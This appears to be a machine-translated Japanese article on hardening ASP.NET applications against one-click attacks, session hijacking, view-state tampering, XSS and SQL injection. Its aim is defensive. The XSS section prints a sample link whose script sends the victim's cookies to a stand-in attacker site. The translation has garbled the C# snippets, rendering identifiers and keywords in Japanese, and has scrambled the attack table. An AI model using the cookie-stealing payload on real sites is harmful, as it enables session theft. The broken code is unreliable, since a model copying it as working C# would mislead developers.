この記事を読んでいる方は、おそらく、Web アプリケーションのセキュリティがますます重要になっていると確信する必要はありません。おそらく必要なのは、ASP.NET アプリケーションにセキュリティを実装する方法に関する実践的なアドバイスです。悪いニュースは、ASP.NET を含む開発プラットフォームは、一度そのプラットフォームを採用すれば 100% 安全なコードを作成できることを保証できないことです。そう言う人は嘘をついているに違いない。良いニュースは、ASP.NET の場合、ASP.NET、特にバージョン 1.1 と次期バージョン 2.0 には、使いやすいいくつかの組み込み防御機能が組み込まれていることです。
これらの機能をすべて適用するだけでは、Web アプリケーションをあらゆる可能性および予見可能な攻撃から保護するには十分ではありません。ただし、組み込みの ASP.NET 機能を他の防御手法やセキュリティ戦略と組み合わせると、アプリケーションを安全な環境で実行できるようにするための強力なツールキットを形成できます。
Web セキュリティは多くの要素の合計であり、単一のアプリケーションをはるかに超えて、データベース管理、ネットワーク構成、ソーシャル エンジニアリングとフィッシングを含む戦略の結果です。
この記事の目的は、セキュリティ標準を適切なレベルに維持するために ASP.NET 開発者が常に行うべきことを説明することです。それがセキュリティのすべてです。常に警戒を怠らず、完全に警戒を緩めないことで、悪者によるハッキングがますます困難になります。
この作業を簡素化するために ASP.NET が提供する機能を見てみましょう。
表 1 に、最も一般的な種類の Web 攻撃と、これらの攻撃を成功させる可能性のあるアプリケーションの欠陥をまとめました。
| 攻撃 攻撃を | 仕掛ける可能性のあるもの |
クロスサイト スクリプティング (XSS) | 信頼できないユーザー入力をページにエコーする |
SQL インジェクション | ユーザー入力を連結して SQL コマンドを形成する |
セッション ハイジャック | セッション ID 推測され盗まれたセッション ID Cookie |
ワンクリック | でスクリプト経由で送信される信頼できないユーザー入力 認識された HTTP|
の改ざん後 | |
チェック | されていない (および信頼されている) 隠しフィールドに機密データが埋め込まれている |
一般的な Web 攻撃
のリストから明らかになる重要な事実は何ですか
私の意見では、少なくとも 3 つのことが考えられます。
| • | ブラウザのマークアップにユーザー入力を挿入すると、コード インジェクション攻撃 (SQL インジェクションおよび XSS 亜種) にさらされる可能性があります。 |
| • | データベース アクセスは、安全な方法で実装する必要があります。つまり、データベースに対する権限をできるだけ少なくし、役割に応じて個々のユーザーの責任を分割します。 |
| • | 機密データはネットワーク経由で (ましてや平文で) 決して送信してはならず、安全な方法でサーバーに保存する必要があります。 |
興味深いことに、上記の 3 つのポイントはそれぞれ、Web セキュリティの 3 つの異なる側面を対象としており、これら 3 つの側面を組み合わせることが、攻撃と改ざんを防止するアプリケーションを生成する唯一の合理的な方法です。 Web セキュリティのさまざまな層は次のように要約できます。
| • | コーディングの実践: データの検証、タイプとバッファ長のチェック、改ざん対策 |
| • | データ アクセス ポリシー: 可能な限り最も弱いアカウントを保護するための決定を使用し、ストアド プロシージャまたは少なくともパラメータ化を使用します。指示。 |
| • | 効率的なストレージと管理: 重要なデータをクライアントに送信せず、ハッシュ コードを使用して操作を検出し、ユーザーを認証して ID を保護し、厳格なパスワード ポリシーを適用します。 |
ご覧のとおり、これは人々の努力を結集して開発することによってのみ達成できます。アーキテクトと管理者の協力により、安全なアプリケーションが実現します。他の方法でも同じ目的を達成できるとは考えないでください。
ASP.NET アプリケーションを作成するとき、ハッカーの軍隊に立ち向かうのはあなただけではありません。唯一の武器は、頭脳、スキル、指を使って入力するコード行だけです。 ASP.NET 1.1 以降は、上記の脅威の一部に対する防御を自動的に強化する特定の機能を備えています。以下でそれらを詳しく調べます。
ASP.NET 1.1 で導入されました。ViewStateUserKey はPageクラスの文字列プロパティです。このプロパティをよく知っている開発者はほとんどいません。なぜ？ドキュメントに何が書かれているか見てみましょう。
現在のページに関連付けられたビューステート変数で個々のユーザーに識別子を割り当てるという
、この文の意味は非常に明確ですが、この文がプロパティの本来の目的を説明していると正直に言えますか。 ViewStateUserKeyの役割を理解するには、 「備考」セクションまで読み続ける必要があります。
このプロパティは、ビューステートの改ざんを防ぐハッシュを作成するための追加入力を提供するため、ワンクリック攻撃の防止に役立ちます。つまり、 ViewStateUserKey を使用すると、ハッカーがクライアントのビューステートのコンテンツを使用して、サイトに対する悪意のある投稿を準備することがはるかに困難になります。このプロパティには空ではない任意の文字列を割り当てることができますが、セッション ID またはユーザーの ID を割り当てることが望ましいです。このプロパティの重要性をよりよく理解するために、ワンクリック攻撃の基本を簡単に紹介しましょう。
ワンクリック攻撃では、既知の脆弱な Web サイトに悪意のある HTTP フォームを投稿します。これは「ワンクリック」と呼ばれます。これは、被害者が電子メールで見つけた魅力的なリンクを誤ってクリックしたり、混雑したフォーラムを閲覧したりすることから始まることが多いためです。リンクをクリックすると、ユーザーは誤ってリモート プロセスをトリガーし、最終的には悪意のある <form> がサイトに送信されることになります。正直に言うと、 「ここをクリックして 1,000,000 ドルを勝ち取ります」のようなリンクを興味本位でクリックしたことがないと本当に言えますか?明らかに、あなたに悪いことは何も起こりませんでした。それが事実だと仮定しましょう。Web コミュニティの他の全員が生き残ったと言えるでしょうか?知るか。
ワンクリック攻撃が成功するには、次のような背景条件が必要です。
| • | 攻撃者は、脆弱なサイトについて十分な知識を持っている必要があります。これが可能になるのは、攻撃者がファイルを「熱心に」研究しているか、または攻撃者が怒っている内部関係者 (不正行為で解雇された従業員など) であるためです。したがって、このような攻撃の結果は非常に深刻になる可能性があります。 |
| • | サイトはシングル ログインを可能にするために Cookie (永続的な Cookie の方が良い) を使用しており、攻撃者は有効な認証 Cookie を受信している必要があります。 |
| • | このサイトの一部のユーザーは機密性の高い取引を行っています。 |
| • | 攻撃者はターゲットページにアクセスできる必要があります。 |
前述したように、この攻撃には、悪意のある HTTP フォームを、フォームを待機するページに送信することが含まれます。このページは、投稿されたデータを使用して機密性の高い操作を実行すると推測できます。ご想像のとおり、攻撃者は各ドメインの使用方法を正確に知っており、目的を達成するためにいくつかの偽の値を考え出すことができます。これは通常、ターゲット固有の攻撃であり、三角関係が形成されるため追跡が困難です。つまり、ハッカーは被害者をだましてハッカーのサイトのリンクをクリックさせ、その結果、悪意のあるコードが Web サイトに投稿されます。サードパーティのサイト。 (図 1 を参照)
図 1. ワンクリック攻撃
なぜ何の疑いも持たない被害者が？これは、この場合、サーバー ログに表示される悪意のあるリクエストの送信元の IP アドレスが被害者の IP アドレスであるためです。前述したように、このツールは「従来の」XSS ほど一般的ではありません (そして起動が簡単ではありません)。ただし、その性質上、壊滅的な結果をもたらす可能性があります。どうやって対処すればいいのでしょうか？次に、この攻撃が ASP.NET 環境でどのように機能するかを調べます。
操作がPage_Loadイベント内でコーディングされていない限り、ASP.NET ページがポストバック イベントの外部で機密コードを実行することはまったく不可能です。ポストバック イベントが発生するには、ビュー ステート フィールドが必要です。 ASP.NET は要求のポストバック ステータスをチェックし、_VIEWSTATE 入力フィールドが存在するかどうかに応じてIsPostBack を設定することに注意してください。したがって、偽のリクエストを ASP.NET ページに送信したい場合は、有効なビュー ステート フィールドを提供する必要があります。
ワンクリック攻撃が成功するには、ハッカーがページにアクセスできる必要があります。この時点で、先見の明のあるハッカーはページをローカルに保存します。このようにして、ユーザーは _VIEWSTATE フィールドにアクセスし、そのフィールドを使用して古いビューステートと他のフィールドからの悪意のある値を含むリクエストを作成できます。問題は、これが機能するかどうかです。
なぜだめですか？攻撃者が有効な認証 Cookie を提供できる場合、ハッカーは侵入し、要求は通常どおり処理されます。ビュー ステートの内容はサーバー上でまったくチェックされないか ( EnableViewStataMacがオフの場合)、改ざんされた場合にのみチェックされます。デフォルトでは、ビューステートには、このコンテンツを特定のユーザーに関連付けるメカニズムはありません。攻撃者は、別のユーザーになりすまして偽のリクエストを生成することで、取得したビューステートを簡単に再利用してページに合法的にアクセスできます。ここでViewStateUserKey が活躍します。
正確に選択すると、このプロパティはビューステートにユーザー固有の情報を追加できます。要求を処理するとき、ASP.NET はビュー ステートからキーを抽出し、それを実行中のページのViewStateUserKeyと比較します。 2 つが一致する場合、リクエストは正当であると見なされ、そうでない場合は例外がスローされます。この属性にはどのような値が有効ですか?
すべてのユーザーに対してViewStateUserKey を定数文字列に設定することは、空のままにすることと同じです。ユーザーごとに異なる値 (ユーザー ID、できればセッション ID) に設定する必要があります。技術的および社会的な理由により、セッション ID は予測不可能であり、時間の経過とともに期限切れになり、ユーザーごとに異なるため、セッション ID の方が適切です。
すべてのページに不可欠なコードを次に示します。
void Page_Init (object sender, EventArgs e) {
ViewStateUserKey = セッション.セッションID;
:
}
これらのコードの重複を避けるために、 Pageから派生したクラスのOnInit仮想メソッドでコードを修正できます。 (このプロパティはPage.Initイベントで設定する必要があることに注意してください。)
protected override OnInit(EventArgs e) {
Base.OnInit(e);
ViewStateUserKey = セッション.セッションID;
}
一般に、 「より豊かな基盤で ASP.NET ページを構築する」の記事で説明したように、基本ページ クラスを使用することは常に良いことです。ワンクリック攻撃者の手口について詳しく知りたい場合は、 aspnetpro.comで非常に優れた記事を見つけることができます。
Cookie は、開発者が特定の目的を達成するのに役立つために存在します。 Cookie は、ブラウザとサーバー間の永続的なリンクとして機能します。特にシングル サインオンを使用するアプリケーションの場合、盗まれた Cookie によって攻撃が可能になります。これはワンクリック攻撃にもまったく当てはまります。
Cookie を使用するには、プログラムで明示的に作成して読み取る必要はありません。セッション状態を使用してフォーム認証を実装すると、暗黙的に Cookie が使用されます。もちろん、ASP.NET は Cookie のないセッション状態をサポートしており、ASP.NET 2.0 では Cookie のないフォーム認証も導入されています。したがって、理論的には、Cookie なしでもこれらの機能を使用できます。もうこれを行う必要がないとは言いませんが、事実、これは病気よりも治療の方が悪い状況の1つです。 Cookie を使用しないセッションでは、実際には URL にセッション ID が埋め込まれ、誰でも確認できるようになります。
Cookie の使用に関連する潜在的な問題は何ですか? Cookie は盗まれる (つまり、ハッカーのコンピュータにコピーされる) ことや、汚染される (つまり、悪意のあるデータで埋められる) 可能性があります。これらのアクションは、多くの場合、今後の攻撃の前兆となります。盗まれた場合、Cookie は外部ユーザーにユーザーに代わってアプリケーションに接続する (および保護されたページを使用する) ことを「承認」します。そのため、ハッカーが簡単に承認を回避し、被害者に許可されている役割とセキュリティ設定を実行できる可能性があります。あらゆる操作。したがって、認証 Cookie の有効期間は通常 30 分と比較的短いです。 (ブラウザ セッションの完了に時間がかかる場合でも、Cookie は期限切れになることに注意してください。) 盗難が発生した場合、ハッカーには 30 分間攻撃を試みる時間が与えられます。
ユーザーが頻繁にログインする必要がないように、この制限時間を長くすることもできますが、そうすることで自分自身が危険にさらされることに注意してください。 ASP.NET 永続 Cookie の使用は、いかなる状況でも避けてください。これにより、最長 50 年のほぼ永久的な寿命を持つ Cookie が生成されます。次のコード スニペットは、Cookie の有効期限を簡単に変更する方法を示しています。
void OnLogin(オブジェクト送信者, EventArgs e) {
// 認証情報を確認する
if (ValidateUser(user, pswd)) {
// Cookie の有効期限を設定します
HttpCookie クッキー;
cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
if (isPersistent)
cookie.Expires = DateTime.Now.AddDays(10);
// 応答に Cookie を追加します
Response.Cookies.Add(cookie);
//リダイレクト
文字列ターゲットURL;
targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
Response.Redirect(targetUrl);
}
}
ログイン フォームでこのコードを使用すると、認証 Cookie の有効期間を微調整できます。
Cookie は、特定のユーザーのセッション状態を取得するためにも使用されます。セッション ID は、リクエストとともに送受信され、ブラウザのコンピュータに保存される Cookie に保存されます。同様に、セッション Cookie が盗まれた場合、ハッカーがシステムに侵入し、他の人のセッション状態にアクセスできるようにするために使用される可能性があります。言うまでもなく、これは、指定されたセッションがアクティブである限り (通常は 20 分以内) 可能です。偽装されたセッション状態による攻撃は、セッション ハイジャックと呼ばれます。セッション ハイジャックの詳細については、 「Web 上の盗難: セッション ハイジャックの防止」を参照してください。
この攻撃はどれほど危険ですか?わかりにくいですね。これは、Web サイトの機能、そしてさらに重要なことに、サイトのページのデザインによって決まります。たとえば、他の人のセッション Cookie を取得して、それをサイト上のページのリクエストに添付できたとします。ページをロードし、通常のユーザー インターフェイスをステップ実行します。ページが別のユーザーのセッション状態を使用して動作する場合を除き、ページにコードを挿入したり、ページ内の内容を変更したりすることはできません。これ自体はそれほど悪いことではありませんが、そのセッション内の情報が機密で重要な場合は、悪用の成功に直接つながる可能性があります。ハッカーはセッション ストアの内容に侵入することはできませんが、合法的に侵入したかのように、そこに保存されている情報を使用することができます。たとえば、ユーザーがサイトを閲覧中にショッピング カートに商品を追加する電子商取引アプリケーションを考えてみましょう。
| • | オプション 1。ショッピング カートの内容はセッション状態で保存されます。ただし、チェックアウト中に、ユーザーは安全な SSL 接続を介して支払いの詳細を確認して入力するように求められます。この場合、ハッカーは他のユーザーのセッション状態にアクセスすることによって、被害者のショッピングの好みに関する詳細を知ることしかできません。この環境でのハイジャックは実際には何の損害も引き起こしません。問題となっているのは機密保持だ。 |
| • | オプション 2。アプリケーションは、登録済みユーザーごとに 1 つのプロファイルを処理し、プロファイルをセッション状態に保存します。さらに悪いことに、プロフィールには (おそらく) クレジット カード情報が含まれています。プロファイルの詳細がセッションに保存されるのはなぜですか?おそらくこのアプリの目的の 1 つは、ユーザーがクレジット カードや銀行情報を繰り返し入力する必要を本質的になくすことです。したがって、チェックアウト時に、アプリケーションはユーザーを事前に設定されたドメインを持つページに誘導します。不必要に、これらのフィールドの 1 つはセッション状態から取得されたクレジット カード番号です。物語がどのように終わるか想像できますか? |
アプリケーション ページの設計は、セッション ハイジャック攻撃を防ぐ鍵となります。もちろん、まだ解明されていない点が 2 つあります。最初のポイントは、Cookie の盗難をどのように防ぐかということです。 2 番目のポイントは、ASP.NET がハイジャックをどのように検出して防止できるかということです。
ASP.NET セッション Cookie は非常に単純で、セッション ID 文字列自体を含むものに限定されています。 ASP.NET ランタイムは Cookie からセッション ID を抽出し、それをアクティブなセッションと比較します。 ID が有効な場合、ASP.NET は対応するセッションに接続して続行します。この動作により、ハッカーは有効なセッション ID を盗んだり推測したりすることが非常に容易になります。
XSS 攻撃や中間者攻撃、クライアント PC へのブルート フォース アクセスはすべて、有効な Cookie を取得する方法です。盗難を防ぐには、XSS とその亜種の成功を防ぐセキュリティのベスト プラクティスを実装する必要があります。
また、セッション ID の推測を防ぐには、自分のスキルを過大評価しないようにする必要があります。セッション ID を推測するということは、有効なセッション ID 文字列を予測する方法を知っていることを意味します。 ASP.NET で使用されるアルゴリズム (URL 対応文字にマッピングされた 15 個の乱数) では、有効な ID をランダムに推測する確率はゼロに近くなります。デフォルトのセッション ID ジェネレーターを独自のものに置き換える理由が思いつきません。多くの場合、そうすることは攻撃者にとって事態を容易にするだけです。
セッション ハイジャックのさらに悪い結果は、Cookie が盗まれたり推測されたりすると、ASP.NET が Cookie の不正使用を検出できなくなることです。繰り返しになりますが、その理由は、ASP.NET が ID の有効性と Cookie の発行元のチェックに限定されているためです。
Wintellect の友人 Jeff Prosise が、 MSDN マガジンにセッション ハイジャックに関する優れた記事を書きました。彼の結論は安心できるものではありません。盗まれたセッション ID Cookie に基づく攻撃から完全に保護できる防御を構築することはほぼ不可能です。しかし、彼が開発したコードは、セキュリティ標準をさらに改善するための非常に賢明な提案を提供します。 Jeff は、受信リクエストとセッション ID Cookie の送信応答を監視する HTTP モジュールを作成しました。このモジュールはセッション ID にハッシュ コードを追加し、攻撃者が Cookie を再利用することをより困難にします。詳細はここで読むことができます。
ビュー ステートは、同じページに対する 2 つの連続したリクエスト間でコントロールの状態を維持するために使用されます。デフォルトでは、ビューステートは Base64 でエンコードされ、改ざんを防ぐためにハッシュで署名されます。デフォルトのページ設定を変更せずにビューステートを変更することはできません。攻撃者がビュー ステートを変更したり、正しいアルゴリズムを使用してビュー ステートを再生成したりすると、ASP.NET はこれらの試みをキャッチし、例外をスローします。ビューステートの改ざんは、サーバー コントロールの状態を変更するため、必ずしも有害というわけではありませんが、深刻な感染の媒介となる可能性があります。したがって、デフォルトで実行されるコンピューター認証コード (MAC) のクロスチェックを削除しないことが非常に重要です。図 2 を参照してください。
図 2. EnableViewStateMac が有効な場合にビューステート自体の改ざんを困難にする要因
MAC チェックが有効になっている場合 (デフォルト)、シリアル化されたビュー ステートにハッシュ値が追加されます。これは、サーバー側の値とビュー ステートのユーザー シークレット (存在する場合) を使用して生成されます。ビューステートがポストバックされると、新しいサーバー側の値を使用してハッシュが再計算され、保存されている値と比較されます。 2 つが一致する場合、リクエストは許可されます。そうでない場合は、例外がスローされます。ハッカーがビューステートを解読して再生成する能力を持っていると仮定しても、有効なハッシュを導出するにはサーバーに保存されている値を知る必要があります。具体的には、ハッカーは machine.config の<machineKey>エントリで参照されるマシン キーを知っている必要があります。
デフォルトでは、エントリは自動的に生成され、Windowsローカル セキュリティ機関(LSA) に物理的に保存されます。ビュー ステートのマシン キーがすべてのマシンで同じである必要がある Web ファームの場合にのみ、machine.config ファイルでクリア テキストとして指定する必要があります。
ビュー ステートの MAC チェックは、 EnableViewStateMacと呼ばれる@Pageディレクティブ属性を通じて制御されます。前述したように、デフォルトでは true に設定されています。これを無効にしないでください。無効にすると、ビューステートの改ざんに対するワンクリック攻撃が高い確率で成功する可能性があります。
クロスサイト スクリプティング (XSS) は、1999 年以来存在しており、多くの経験豊富な Web 開発者にとって古い友人です。簡単に言えば、XSS はコードの脆弱性を悪用して、ハッカーの実行可能コードを別のユーザーのブラウザ セッションに導入します。実行されると、挿入されたコードはさまざまなアクションを実行できます。Cookie を取得してハッカーが制御する Web サイトにコピーをアップロードし、ユーザーの Web セッションを監視してデータを転送し、ハッキングされたページの動作と外観を変更して、ハッキングされたページの動作と外観を変更します。虚偽の情報を提供したり、次回ユーザーがそのページに戻ったときに不正なコードが再度実行されるようにしつこくしたりすることもあります。 XSS 攻撃の基本の詳細については、TechNet の記事「クロスサイト スクリプティングの概要」を参照してください。
XSS 攻撃を可能にするコードのどのような脆弱性がありますか?
XSS は、HTML ページを動的に生成するが、ページに返される入力を検証しない Web アプリケーションを利用します。ここでの入力とは、クエリ文字列、Cookie、およびフォーム フィールドの内容を指します。このコンテンツが適切なパフォーマンス チェックなしで Web 上に表示されると、ハッカーがコンテンツを操作してクライアント ブラウザで悪意のあるスクリプトを実行する危険性があります。 (前述のワンクリック攻撃は、実際には XSS の最近の亜種です。) 典型的な XSS 攻撃では、リンクに埋め込まれたスクリプト コードがエスケープされた魅力的なリンクを、何も知らないユーザーがクリックします。不正なコードは脆弱なページに送信され、疑われずに出力されます。何が起こるかの例を次に示します。
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name= <script>document.location.replace( 'http://www.hackersite.com/HackerPage.aspx? Cookie=' + document.cookie); </script>">クリックして賞品を受け取りましょう</a>
ユーザーが一見安全なリンクをクリックすると、最終的にはいくつかのスクリプト コードが脆弱なページに渡され、まずユーザーのコンピュータ上のすべての Cookie が取得され、それがハッカーの Web サイトに送信されます。
XSS はベンダー固有の問題ではないため、必ずしも Internet Explorer の脆弱性を悪用するわけではないことに注意することが重要です。現在市場に出ているすべての Web サーバーとブラウザに影響します。単一のパッチではこの問題を解決できないことに注意してください。特定の対策とサウンド コーディングの実践を適用することで、ページを XSS 攻撃から保護できます。また、攻撃者は攻撃を開始するためにユーザーにリンクをクリックすることを要求していないことに注意してください。
XSS を防御するには、基本的にどの入力が有効であるかを判断し、他のすべての入力を拒否する必要があります。 XSS 攻撃から防御するための詳細なチェックリストは、Michael Howard と David LeBlanc 著の必読の書籍「Microsoft - Writing Secure Code」で読むことができます。特に第 13 章を注意深く読むことをお勧めします。
潜行的な XSS 攻撃を阻止する主な方法は、適切に設計された効果的な検証レイヤーを入力 (あらゆる種類の入力データ) に追加することです。たとえば、無害な色 (RGB トリコロール) であっても、制御されていないスクリプトがページに直接持ち込まれる可能性がある場合があります。
ASP.NET 1.1 では、 @PageディレクティブのValidateRequest属性がオンになっていると、ユーザーがクエリ文字列、Cookie、またはフォーム フィールドで潜在的に危険な HTML タグを送信していないかどうかがチェックされます。これが検出された場合、例外がスローされ、リクエストは中止されます。このプロパティはデフォルトでオンになっており、保護するために何もする必要はありません。 HTML タグの通過を許可したい場合は、この属性を積極的に無効にする必要があります。
<%@ ページ ValidateRequest="false" %>
ValidateRequest は万能薬ではなく、効果的な検証レイヤーを置き換えることはできません。この機能の基本に関する貴重な情報については、ここをお読みください。基本的に、正規表現を適用して、潜在的に有害なシーケンスを検出することで機能します。
注: ValidateRequest機能には元々バグがあったため、期待どおりに機能するにはパッチを適用する必要があります。このような重要な情報は見過ごされることがよくあります。奇妙なことに、私のコンピュータの 1 台がまだこの欠陥の影響を受けていることがわかりました。試してみてください!
ValidateRequest を閉じる理由はありません。これを無効にすることもできますが、これには正当な理由があり、より適切な書式設定オプションを取得するためにユーザーがサイトに HTML を投稿できるようにする必要があることが考えられます。この場合、許可される HTML タグ ( <pre> 、 <b> 、 <i> 、 <p> 、 <br> 、 <hr> ) の数を制限し、それ以外のタグが許可されないように正規表現を記述する必要があります。または受け入れられました。
XSS 攻撃から ASP.NET を保護するための追加のヒントを次に示します。
| • | HttpUtility.HtmlEncode を使用して、危険なシンボルを HTML 表現に変換します。 |
| • | HTML エンコードでは二重引用符のみがエスケープされるため、一重引用符の代わりに二重引用符を使用します。 |
| • | コード ページで使用できる文字数を強制的に制限します。 |
つまり、 ValidateRequestプロパティを使用しますが、完全に信頼するわけではなく、あまり怠けすぎないでください。時間をかけて XSS などのセキュリティ脅威を根本的に理解し、すべてのユーザー入力が危険であるという 1 つの重要な点を中心に防御戦略を計画します。
SQL インジェクションは、サニタイズされていないユーザー入力を使用してデータベース コマンドを形成するアプリケーションを悪用するもう 1 つのよく知られた攻撃タイプです。ユーザーがフォーム フィールドに入力した内容をアプリケーションが喜んで使用して SQL コマンド文字列を作成すると、悪意のあるユーザーがそのページにアクセスして不正なパラメーターを入力するだけでクエリの性質を変更できるリスクにさらされます。 SQL インジェクションについて詳しくは、こちらをご覧ください。
SQL インジェクション攻撃を防ぐ方法は数多くあります。最も一般的な手法を以下に説明します。
| • | ユーザー入力が適切なタイプであり、予想されるパターン (郵便番号、ID 番号、電子メールなど) に従っていることを確認します。テキスト ボックスからの数値が期待される場合、ユーザーが数値に変換できないものを入力したときにリクエストをブロックします。 |
| • | パラメータ化されたクエリ、できればストアド プロシージャを使用します。 |
| • | SQL Server 権限を使用して、個々のユーザーがデータベース上で実行できる操作を制限します。たとえば、xp_cmdshell を無効にするか、操作を管理者のみに制限する必要がある場合があります。 |
ストアド プロシージャを使用すると、この攻撃の可能性を大幅に減らすことができます。実際、ストアド プロシージャを使用すると、SQL 文字列を動的に作成する必要はありません。さらに、SQL Server はすべてのパラメータが指定された型であることを確認します。これらの手法だけでは 100% 安全ではありませんが、検証と組み合わせることでセキュリティを向上させるには十分です。
さらに重要なのは、テーブルの削除など、重大な結果をもたらす可能性のある操作を許可されたユーザーのみが実行できるようにする必要があります。これには、アプリケーションの中間層を慎重に設計する必要があります。良いテクニックは (安全のためだけでなく) キャラクターに焦点を当て続けることです。ユーザーはロールにグループ化され、各ロールに対して最小限の権限セットを使用してアカウントが定義される必要があります。
数週間前、Wintellect Web サイトは非常に高度な SQL インジェクション攻撃を受けました。ハッカーは、悪意のある可能性のある実行可能プログラムをダウンロードするための FTP スクリプトを作成して起動しようとしました。幸いなことに、攻撃は失敗しました。それとも、実際には強力なユーザー認証、ストアド プロシージャの使用、SQL Server アクセス許可の使用が攻撃の失敗の原因だったのでしょうか?
要約すると、有害な SQL コードの挿入を避けるために、次のガイドラインに従う必要があります。
| • | できるだけ少ない権限で実行し、コードを「sa」として実行しないでください。 |
| • | 組み込みストアド プロシージャへのアクセスを制限します。 |
| • | SQL パラメータ化クエリの使用を優先します。 |
| • | 文字列の連結によってステートメントを生成せず、データベース エラーをエコーしません。 |
従来の ASP では、非表示フィールドはリクエスト間でデータを保持する唯一の方法でした。次のリクエストで取得する必要があるデータはすべて、非表示の<input>フィールドにパックされ、リターン パスが実行されます。誰かがクライアント上のこのフィールドに保存されている値を変更した場合はどうなりますか?テキストが明確である限り、サーバー側環境はこれを検出できません。 ASP.NET では、ページと各コントロールのViewStateプロパティには 2 つの目的があります。 ViewState は、リクエスト間で状態を保持する方法である一方で、 ViewState を使用すると、保護されて簡単に改ざんできない隠しフィールドにカスタム値を保存できます。
図 2 に示すように、ビュー ステートにはハッシュ値が付加されており、リクエストごとにこの値をチェックして改ざんの有無を検出します。いくつかのケースを除いて、ASP.NET で隠しフィールドを使用する理由はありません。ビュー ステートは、より安全な方法で同じ機能を実現します。すぐに述べたように、ビュー ステートには秘密のフィールドに機密性の高い値 (価格やクレジット カードの詳細など) を保存すると、ハッカーへの扉が開かれる可能性があります。データ保護メカニズム。ただし、ビュー ステートは改ざん防止されていますが、暗号化が使用されない限り機密性は保証されないことに注意してください。いずれにせよ、ビュー ステートに保存されているクレジット カードの詳細は危険にさらされています。
ASP.NET では、どのような場合に隠しフィールドの使用が許可されますか?データをサーバーに送り返す必要があるカスタム コントロールを構築するとき。たとえば、列の並べ替えをサポートする新しいDataGridコントロールを作成するとします。新しい注文をポストバックでサーバーに送り返す必要があります。この情報を隠しフィールドに保存しない場合、どこに保存できますか?
隠しフィールドが読み取り/書き込みフィールドである場合、つまりクライアントがそのフィールドに書き込むことが期待されている場合、ハッカーの攻撃を完全に防ぐ方法はありません。テキストをハッシュ化または暗号化してみることもできますが、それではテキストがハッキングされないという十分な確信は得られません。現時点での最善の防御策は、非表示フィールドに不活性で無害な情報を含めることです。
さらに、ASP.NET は、シリアル化されたオブジェクトのエンコードとハッシュに使用できるあまり知られていないクラスを公開していることに注意してください。このクラスは、テキストをエンコードするためにクライアントへのコールバックを作成するためにViewStateが実装するクラスと同じです。
プライベート文字列 EncodeText(文字列テキスト) {
StringWriter ライター = new StringWriter();
LosFormatter フォーマッタ = new LosFormatter();
formatter.Serialize(ライター, テキスト);
ライターを返します。ToString();
}
前のコード スニペットは、 LosFormatter を使用してビュー ステートのようなものを作成し、エンコードし、ハッシュする方法を示しています。
この記事の最後に、最も一般的な攻撃のうち少なくとも 2 つ (従来の XSS とワンクリック) は、通常、リンクによって開始される誘惑的で欺瞞的なものをクリックするよう、無防備な被害者を誘導することによって行われることを指摘しておきます。スパム対策フィルターを使用しているにもかかわらず、受信トレイでそのようなリンクが見つかることがよくあります。数ドルで大量の電子メール アドレスを購入できます。このようなリストを生成するために使用される主な手法の 1 つは、Web サイト上の公開ページをスキャンして、電子メール メッセージのようなものを見つけて取得することです。
電子メール アドレスがページに表示されている場合、遅かれ早かれそのアドレスは自動化された Web プログラムによって取得される可能性があります。本当に？もちろん、これはメールの表示方法によって異なります。ハードコードすると負けます。他の表現（ Dino-at-Microsoft-Dot-Comなど）を使用すると、自動化されたWebプログラムがだまされることは明らかではありませんが、ページを読む人なら誰でも正当なつながりを怒らせたいと思うでしょう。
一般的に、メールのリンクとして電子メールを動的に生成する方法を決定する必要があります。 Marco Bellinasoによって書かれた無料のコンポーネントはまさにそれを行います。 dotnet2themax Webサイトからこのコンポーネントの完全なソースコードを取得できます。
Webがすべてのランタイム環境の中で最も敵対的である可能性があると疑っていますか？根本的な原因は、誰でもWebサイトにアクセスして、良いデータまたは悪いデータを渡そうとすることができることです。しかし、ユーザー入力を受け入れないWebアプリケーションを作成するポイントは何ですか？
それに直面しましょう：あなたのファイアウォールがどれほど強力であっても、どれほど頻繁に利用可能なパッチを適用しても、固有の欠陥を含むWebアプリケーションを実行している限り、遅かれ早かれ攻撃者はメインチャネルに直接アクセスできます。これはポート80です。システムの中心に到達します。
ASP.NETアプリケーションは、他のWebアプリケーションよりも脆弱でも安全でもありません。セキュリティと脆弱性は、コーディングプラクティス、現実世界の経験、およびチームワークに等しく根ざしています。ネットワークが安全でない場合、ネットワークがどれほど安全で適切に管理されていても、アプリケーションが欠陥がある場合、攻撃者は常にアクセスできます。
ASP.NETの利点は、少しの作業でセキュリティ基準を許容可能なレベルに引き上げることができるいくつかの優れたツールを提供することです。もちろん、これは十分なレベルではありません。 ASP.NETの組み込みソリューションに純粋に依存してはいけません。また、無視する必要もありません。一般的な攻撃について可能な限り学びます。
この記事では、組み込み機能の注釈付きリストと、攻撃と防御の背景を提供します。発信攻撃を検出するために使用される手法は別の問題であり、おそらく独自の記事に値するでしょう。